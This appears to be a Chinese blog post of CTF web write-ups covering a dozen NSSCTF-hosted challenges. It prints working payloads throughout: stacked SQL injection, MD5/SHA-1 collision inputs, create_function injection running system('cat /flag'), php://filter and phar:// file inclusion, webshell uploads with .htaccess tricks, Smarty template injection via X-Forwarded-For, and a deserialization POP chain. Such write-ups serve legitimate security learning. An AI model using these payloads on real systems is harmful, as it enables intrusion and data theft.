比较基础的一些web题③
[强网杯 2019]随便注
为SQL注入,测试如下
堆叠注入
堆叠注入大概的意思就是用;连接起两个语句,然后让他们一起执行
1 | 1 //正常回显 |
上面我们已经知道flag的文件了,但是过了滤了很多东西,我们要怎么获取这个flag呢
接下来就有几种方法了,方法来自参考文章
alter语句
alter
修改表名 alter table 表名 rename 新表名;
修改字段名 alter table 表名 change 旧字段名 新字段名 类型;
通过题目观察 表单有两列, 也就是1 和 hahahah
我们可以推测 这个表单其实是从表中以id
字段为索引获取到内容 然后返回到前台
并且后台的查询语句为”select * from words where id='.$_GET['inject'].'
“
那么 我们就可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改
- 修改words表名为table
alter table words rename table;
- 修改1919810931114514表名为words
- `alter table 1919810931114514 rename words;
- 修改新的words表中的flag列名为id
alter table words change flag id ;
得到最终payload1'; alter table words rename to words1;alter table
1919810931114514rename to words;alter table words change flag id varchar(50);#
提交之后再输入1,发现没有结果了,那是因为原来的存放有id字段的words表已经变了
我们可以通过让条件永真(输入万能密码),然后查出所有数据,进而获得flag1' or 1=1#
预编译方式拼接关键字
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:
1 | PREPARE 名称 FROM Sql语句 ? ; |
举例:查询ID为1的用户:
1 | 方法一: |
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE
[NISACTF 2022]level-up
打开环境,什么有用的都没有
查看源代码显示:
1 | <!-- here is level 1 --> |
用disearch扫一下
扫出来个robots.txt,访问一下
显示:
1 | Disallow: level_2_1s_h3re.php |
访问一下:http://…/level_2_1s_h3re.php
得到level 2的源码
1 | <?php |
md5强相等(Md5碰撞)(string类型)
这里我们看到是要我们传入的参数md5之后的值相等,而且三个=,为强比较类型
强比较绕过一般可以用数组进行绕过:
1 | array1[]=1&array2[]=1 |
但是发现不行,因为在定义$a1 和 $a2的时候,把array1和array2强制转换为了string类型,所以就不能利用数组进行绕过
那就只能用md5强碰撞绕过
1 | array1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B0%90%968%96%85%2B%9BM%81g%81p%C9%BF4%00%1A%EC%3C%A5%22d%D46%86z%8A%CC%9F%9F%1D%87%19%FE%E2%CA%25%10%D5%E7%E9%DF%FB%9C%CF%00%A1%E96G%DC%F7%7F%2C%9Du%3CcfjtX-j%19%EA0%9BT%CF%F1%04%85WA%0E%F4%E3%EDu%D5%A3l6o%05%FAn%FB%B3KK%91%CFA0J%C1ir%07%9C%1F%9D%91%EB0l%BCb%FD%1DD%18n%AC%D2%CB%C6v%E3%C8W%CCd%15%C2&array2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B0%90%968%96%85%2B%9BM%81g%81p%C9%BF4%00%1A%EC%BC%A5%22d%D46%86z%8A%CC%9F%9F%1D%87%19%FE%E2%CA%25%10%D5%E7%E9%DF%FB%9CO%01%A1%E96G%DC%F7%7F%2C%9Du%3Cc%E6jtX-j%19%EA0%9BT%CF%F1%04%85WA%0E%F4%E3%EDu%D5%A3%EC6o%05%FAn%FB%B3KK%91%CFA0J%C1ir%07%9C%1F%9D%91%EB0l%3Cb%FD%1DD%18n%AC%D2%CB%C6v%E3%C8%D7%CCd%15%C2 |
!!!这里要注意要用burp来post传参,不然会被二次编码
然后得到
1 | Level___3.php |
源码为:
1 | <?php |
这里就是sha1强碰撞了
sha1强碰撞
这个和md5差不多,直接放payload
1 | array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 |
也记得要用Burp传噢
然后回显
1 | level_level_4.php |
访问
1 | <?php |
我们看到正则那里过滤了_,但是我们要传的参数名字中含有_,这里就要提到php的一个特性了
php特性:将_解析为空格
php的变量解析绕过, php会把请求参数中的非法字符转为下划线,所以php会将空格解析成_
所以payload为:(在urlencode中空格会被转换为+,所以我们直接写+)
1 | NI+SA+=txw4ever |
回显:55_5_55.php
1 | <?php |
这个正则表达式的意思是,参数a开头不能是字符数字和下划线
最后的/i
是不区分大小写,/s
匹配任何不可见字符 /D如果以$限制结尾字符,则不允许结尾有换行
看到:
1 | $a('',$b); |
这个网上搜了下相关绕过,发现了这个函数:
特别看到$action('', $arg);
就条件反射肯定是create_function()
create_function()函数
1 | create_function(string $args,string $code) |
create_function()
会创建一个匿名函数(lambda
样式)
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return
语句,属于create_function()
中的第二个参数string $code
位置。
所以有:
1 | ?a=\create_function&b=}system('cat /flag');/* |
NSSCTF{de8e94af-9e79-44ef-8d7d-12617a67d0ed}
[鹏城杯 2022]简单包含
1 | <?php |
直接试试伪协议:
1 | flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php |
发现一堆Base64的东西,那就解码,得到:
1 | <?php |
看到这里我们要使输入的字符数大于800,所以这里我们就输入一定数量的参数才行,所以有:
1 | a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php |
(这里
(strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path)
我们要使这句话为false,这样才可以执行else里面的语句,因为我们输入的参数值大于了800,所以第一个为true,所以第二个要输入完整的路径,不能绕过flag,这样让他为false,true&&false=false,就可以执行else里面的语句了)
然后再把传参之后回显的值base64解码即可
NSSCTF{835b7731-e7a2-4e6d-af6b-f7f1d7f713e4}
[NISACTF 2022]babyupload
打开是一个文件上传界面
直接上传php文件不行,而且抓包改后缀也不可以
查看源代码,发现了个
1 | <!-- /source --> |
访问一下,下载得到了个app.py文件
1 | from flask import Flask, request, redirect, g, send_from_directory |
看到这段代码
1 | @app.route('/upload', methods=['POST']) |
首先是post方式传递路径名字,然后又出现了过滤,表示如果路径名出现了 . ,那就返回403,即上传的文件不能有后缀名
1 | if "." in file.filename: |
上传文件后生成一个uuid
,并将uuid和文件名存入数据库中,并返回文件的uuid。再通过/file/uuid
访问文件,通过查询数据库得到对应文件名,在文件名前拼接uploads/
后读取该路径下上传的文件。
1 | try: |
上传的文件没有后缀名,不能直接利用,所以就要利用os.path.join()函数漏洞
os.path.join()函数漏洞
绝对路径拼接漏洞
os.path.join(path,paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
所以当上传的文件名为 /flag时 ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。因此我们只需要传输一个文件名为/flag的文件就可以得到flag的uid。然后再访问对应路径就可以得到flag
直接上传个一句话木马,然后抓包改文件名为/flag,然后访问对应路径,/file/bbfce872aa9a4b26b069edf5776f7389,就可以得到flag
NSSCTF{6b791264-a4c6-4b3d-940d-a0044ef1d0f9}
[CISCN 2019华东南]Web11
抓包看一下,没有什么发现
但是我们看到环境的页面有,XFF头,这个算是给我们的一个提示了
Smarty 模板注入
控制XFF进行命令执行(这是要在前端有IP相关回显的情况)
payload:
1 | X-Forwarded-For: {{system("ls")}} |
其中,我个人感觉if标签是最常用的,有一些常用的payload
1 | {if phpinfo()}{/if} |
那这一题,我们直接添加XFF头,然后进行命令执行即可
1 | X-Forwarded-For:{if system('cat /flag')}{/if} |
NSSCTF{6616e149-8544-417a-9dc5-a4eabd92ccb3}
[HUBUCTF 2022 新生赛]checkin
打开环境,看到源码
1 | <?php |
说实话,这题只有一颗星不到的难度,但是我看到的时候真觉得哪有那么简单
后面看了下评论区,说小心不要被骗了,于是,再好好来看下代码
首先我们可以确定的是,我们需要GET传参一个info
看到,他给了个注释,提示他这里改变了username和password这两个参数的值
所以这里我们是没有办法比较的,因为我们也不知道他改成了啥
但是,这里可以利用一个特性
弱类型比较:true与非零非NULL变量比较
布尔类型True与非零非NULL变量比较都会是True。
所以我们这里只要把info里的username和password都赋值为true就可以
exp如下:
1 | <?php |
payload如下:
1 | ?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;} |
NSSCTF{930a9638-050f-44f3-afe0-1fcefd52ae67}
[NISACTF 2022]babyserialize
反序列化构造pop链(很多魔术方法结合)
源码如下:
1 | <?php |
这里先写出反序列化常见的魔术方法的调用方法
1 | __invoke():以调用函数的方式调用对象的时候,就会调用该方法 |
首先最后肯定是__invoke() 魔术方法里的eval()函数
然后就是 Ilovetxw这个类中的__toString()方法,用来触发__invoke()
之后看到__set()方法,这种方法中的 strtolower()函数,这个函数的功能是把字符串全部转化为小写
用从__set()反推到__call(),而__call()方法中的fun变量是在four类中定义的私有变量
然后由__call()又反推到了__wakeup()方法,而__wakeup()中的nisa()方法,根本不存在,所以成功无法调用,进而成功触发了__call()
所以总的链子为:
1 | NISA(__invoke())-->Ilovetxw(__toString())-->four(__set())-->Ilovetxw(__call())-->TianXiWei(__wakeup()) |
exp如下:
1 | <?php |
然后payload为:
1 | ?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A13%3A%22system%28%22ls%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D; |
显示something wrong,看着源码里的最后的几行,猜测可能是过滤了某些东西,经过测试之后,发现是过滤了system,把system改成SysTEm,大小写绕过即可
1 | //func checkcheck($data){ |
所以最后的payload为:
1 | ?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22SysTEm%28%22ls+%2F%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D |
NSSCTF{ba4813c0-9e91-4446-829c-d004ed064d52}
这道题我还看到了一个师傅的另解,太强了!
1 | class NISA{ |
在NISA:: _ _ wakeup里,做弱比较的时候就能触发__toString
[NISACTF 2022]bingdundun~
打开环境是一个文件上传的界面
但是页面的一句话,算是一个提示吧仅可以上传墩墩喜欢的【图片或压缩包】文件类型哦
这里说压缩包,我们很容易想到一个伪协议
phar://伪协议
如果同时存在可以上传图片的功能,那我们就可以利用phar://伪协议,如果只能上传zip压缩包文件,那就用zip://伪协议,如果只能上传txt文件,那就用phar://伪协议。phar://
跟zip: //
协议差不多,都是可以访问zip格式压缩包内容
这里我直接把一句话木马压缩进压缩包,生成1.zip
然后显示
1 | /var/www/html\/xxxxxxxxxxxxxxxxxxxxxxxx.zip 成功上传了冰墩墩喜爱的文件,然后呢? |
然后访问
1 | http://x.x.x:xxxxx/?bingdundun=phar://xxxxxxxxxxxxxxxxxxxxxxxx.zip/1 |
然后getshell即可
(这里是允许上传压缩包的,但是万一只允许上传图片的话,可以把php文件打包成zip文件,然后改zip文件的后缀为图片(jpg.png之类的)然后再类似的访问即可:
?file=phar://upload/shell.png/shell)
[SWPUCTF 2022 新生赛]ez_ez_php
打开,源码如下:
1 | <?php |
呀,没有什么好说的,file参数的开头三个字符要是php
然后提示有有flag.php文件,直接php://filter伪协议读取flag.php
php://filter伪协议
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
然后base64解密即可
NSSCTF{4bf4e46c-0f42-4cdf-8d73-2dc4687a1cdb}
[NISACTF 2022]midlevel
这道题的页面打开和前面那道web11的smarty模板注入的页面只能说是一模一样了
那就直接照那题的打法试一试
1 | X-Forwarded-For:{if system('cat /f*')}{/if} |
直接得到flag
NSSCTF{3303c48f-0195-4b88-a682-c0ba6f40f250}
[UUCTF 2022 新生赛]websign
打开,提示我们查看源代码
浏览器打开开发者工具直接查看源代码,就得到了flag
NSSCTF{4d7ea0a0-423f-43f9-9d1a-63c499447864}
[GXYCTF 2019]BabyUpload
首先试一下直接上传php文件,芜湖,似乎不行
上传jpg后缀文件,抓包改后缀为php,phtml之类的都不行
那就试试.htaccess
文件上传.htaccess
但是在上传.htaccess文件时,显示这上传的文件类型太露骨了
然后再上传改了后缀的一句话木马时,显示这明显还是php啊
那证明可能也有检测我们上传文件的文件内容
首先既然提示上传的文件类型太露骨了,那可能是检测了MIME类型
MIME类型检测
我们上传了.htaccess之后抓包改改Content-Type头试试
把原来的类型改为我蓝色箭头标上的jpg类型
然后就提示上传成功
1 | /var/www/html/upload/b9c2691f3e170da763f746d557d1fb58/.htaccess succesfully uploaded! |
然后那个说别懵他,明显还是php啊
这里我们试试用其他的一句话木马来代替php的< ?标签,把1.jpg改为下面的内容
无php标签的script一句话木马
1 | GIF89a |
然后发现1.jpg也上传成功
1 | /var/www/html/upload/b9c2691f3e170da763f746d557d1fb58/1.jpg succesfully uploaded! |
我们访问一下,发现可以看到
显示了GIF头,但是我们POST传参,qw=system(“ls”);之类的却没有任何反应
我们传入 qw=phpinfo()查看一下,发现禁止了很多内置函数
show_source() 函数–禁止了很多内置函数时使用
这里就要提一下这个函数了show_source() 函数对文件进行语法高亮显示。
show_source(filename,return)
本函数是 highlight_file 的别名。
filename 必需。要进行高亮处理的 PHP 文件的路径。return 可选。如果设置 true,则本函数返回高亮处理的代码。
所以这道题的payload如下
1 | qw=show_source('/flag'); |
然后这里也可以在访问成功,显示了GIF89a的时候就用蚁剑连接也可以找到flag
[GDOUCTF 2023]hate eat snake
这个题在这个比赛的wp中我发过了
js逻辑漏洞
硬玩,反正我不行
查看一下网页源代码,找到js文件
看到有一段很长的代码,然后划到最后去有alert
前面有一个if判断语句
1 | if(this['getScore']()>-0x1e9*-0xf+0x5*0x6d+-0x2e*0xaa) |
所以我们只要把if里面的语句改为真,那就可以成功出现弹窗,所以我们可以把if里面的判断条件改成1=1
找个js网站运行一下,就可以弹出flag,或者直接删去if语句,只留下alert语句然后在控制台执行也可以弹出flag
然后还有的解是
直接撞墙死了,然后弹窗按取消,然后等待一分钟,再次按空格开始,也会弹出flag
NSSCTF{J_0k3r_h0pe_to_have_@_girlfriend}
[LitCTF 2023]PHP是世界上最好的语言!!
打开页面是一个加密的页面,如下
然后我们就在那个run code那个框里输入一些我们的代码,先试试
1 | <?php |
可以执行,题目又提示flag在根目录,所以
1 | <?php |
NSSCTF{206865c6-cf0a-4688-80e5-9c4ba625e85a}